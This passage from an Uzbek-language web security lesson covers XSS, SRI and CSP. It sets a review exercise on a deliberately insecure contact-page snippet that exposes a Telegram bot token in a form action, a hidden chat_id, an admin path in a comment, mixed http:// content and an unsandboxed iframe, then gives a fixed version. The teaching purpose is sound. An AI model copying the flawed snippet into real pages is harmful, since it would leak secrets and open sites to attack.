  integrity="sha256-ieH6dkfLSVNw06mXrOQ4f10V2fTFrxI1LFPapACVYoc="
  crossorigin="anonymous" defer></script>

Hash boshqacha chiqsa — manzilni tekshiring: versiya yoki fayl yo'li farq qilsa, fayl ham boshqa.

3-mashq (qiyin): Xavfsizlik review

«Bahor» ning "Aloqa" sahifasini stajyor yozdi. Kamida 7 ta xavfsizlik muammosini toping va tuzatilgan variantni yozing.

html
<head>
  <meta charset="utf-8">
  <meta http-equiv="refresh" content="600">
  <script src="http://example.com/xarita.js"></script>
</head>
<body>
  <!-- eski admin: /panel-2019 -->
  <img src="http://example.com/zal.jpg" alt="Choyxona zali">
  <form action="https://api.telegram.org/bot12345:ABC/sendMessage">
    <input type="hidden" name="chat_id" value="987654">
    <label for="xabar">Xabaringiz</label>
    <textarea id="xabar" name="text"></textarea>
    <button type="submit">Yuborish</button>
  </form>
  <iframe src="https://example.com/hamkor-vidjet"
          title="Hamkor vidjeti"></iframe>
  <a href="https://example.com/sharh" target="_blank">Sharhlar</a>
</body>

Eslatma: har http://, action manzili, yashirin maydon, izoh, iframe va meta qatoriga alohida qarang.

Yechim
# Muammo Tuzatish
1 Skript http:// — aralash kontent, bloklanadi https:// + aniq versiya + SRI
2 Rasm http:// https:// yoki o'z serveridan
3 Bot tokeni action da — hammaga ochiq Forma o'z serverga, token serverda
4 chat_id yashirin maydonda — o'zgartiriladi Server o'zi biladi, formada kerak emas
5 method yo'q — GET, xabar URL'da method="post"
6 HTML izohda admin manzili Izohni olib tashlash
7 Begona iframe — cheklovsiz sandbox="allow-scripts" (kerakligicha)
8 meta refresh — sahifa o'zi yangilanadi Olib tashlash
9 target="_blank" — rel yo'q rel="noopener"
html
<head>
  <meta charset="utf-8">
  <meta http-equiv="Content-Security-Policy"
        content="default-src 'self'; img-src 'self' https:;
                 frame-src https://example.com;
                 object-src 'none'; base-uri 'self';
                 form-action 'self'">
  <title>Aloqa — Choyxona «Bahor»</title>
  <script src="assets/js/xarita.js" defer></script>
</head>
<body>
  <img src="assets/images/zal.jpg" alt="Choyxona zali">
  <form action="/aloqa" method="post">
    <label for="xabar">Xabaringiz</label>
    <textarea id="xabar" name="xabar" required></textarea>
    <button type="submit">Yuborish</button>
  </form>
  <iframe src="https://example.com/hamkor-vidjet"
          title="Hamkor vidjeti" sandbox="allow-scripts"
          loading="lazy"></iframe>
  <a href="https://example.com/sharh" target="_blank"
     rel="noopener">Sharhlar</a>
</body>

Xarita skriptini o'z serverimizga ko'chirdik — SRI ham, begona domen ham kerak bo'lmay qoldi. frame-src — iframe'lar qaysi manbalardan yuklanishi mumkinligi. Bot tokeni endi faqat serverda: server xabarni qabul qilib, uni Telegram'ga o'zi yuboradi. Oxirgi band haqida: zamonaviy brauzerlar noopener ni o'zi qo'llaydi, lekin uni aniq yozish — Maxsus havolalar darsidagi qoida.

12. Real ishda

  • OWASP Top 10 — veb-xavfsizlikning eng muhim xavflari ro'yxati. XSS unda "Injection" (kod kiritish) guruhiga kiradi. 2025-yilgi ro'yxatda dasturiy ta'minot yetkazib berish zanjiri xavflari ham alohida band bo'ldi — polyfill.io kabi hodisalar tufayli. SRI aynan shunga qarshi.
  • Freymvorklar yordam beradi, lekin to'liq emas. React matnni o'zi ekranlaydi, lekin dangerouslySetInnerHTML va href dagi javascript: ni o'tkazib yuboradi. Next.js'da CSP sarlavhalari konfiguratsiyada yoziladi. Bularni React va Next.js qismlarida ko'ramiz.
  • Bug bounty. Katta kompaniyalar o'z saytidagi XSS'ni topgan odamga pul to'laydi. XSS — eng ko'p topiladigan zaiflik turlaridan biri.
  • Intervyu. "XSS nima va qanday himoyalanasiz?" — deyarli har frontend intervyusida. Yaxshi javob: ekranlash, kontekst (atribut, href), tozalash kutubxonasi, CSP, HttpOnly cookie (server tomoni).

Xulosa

  • XSS — hujumchining kodi sizning saytingiz nomidan ishlashi; asosiy himoya — ekranlash, joyga qarab qoida (atribut qo'shtirnoqda, href da sxema tekshiruvi).
  • HTML kerak bo'lsa — tozalash, faqat tayyor kutubxona (DOMPurify, sanitize-html) bilan; begona SVG — faqat img orqali.
  • SRI: CDN skripti aniq versiya, integrity va crossorigin="anonymous" bilan; hash mos kelmasa, brauzer bloklaydi.
  • CSP — oxirgi to'siq: HTML ichidagi skriptlarni, begona manbalarni va formalarni to'sadi; frame-ancestors faqat server sarlavhasida.
  • HTTPS sahifada http:// resurs yo'q; maxfiy sahifada no-referrer; HTML'da sir yo'q.
  • Chuqur himoya: bitta qatlam yiqilsa, keyingisi ushlaydi.

Keyingi dars: Brauzer mosligi va progressive enhancement — yangi imkoniyatni eski brauzerni buzmasdan qanday ishlatish va eskirgan teglar.

Manbalar

  • OWASP Cheat Sheet Series: "Cross Site Scripting Prevention", "Content Security Policy" — cheatsheetseries.owasp.org
  • MDN: "Subresource Integrity", "Content Security Policy (CSP)", "Mixed content", "Referrer-Policy" — developer.mozilla.org
  • W3C: "Subresource Integrity" — w3.org/TR/SRI
  • Mozilla: "HTTP Observatory" — developer.mozilla.org/observatory
Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!
HTML xavfsizligi: XSS, SRI, CSP, aralash kontent va referrer siyosati — IlmHamroh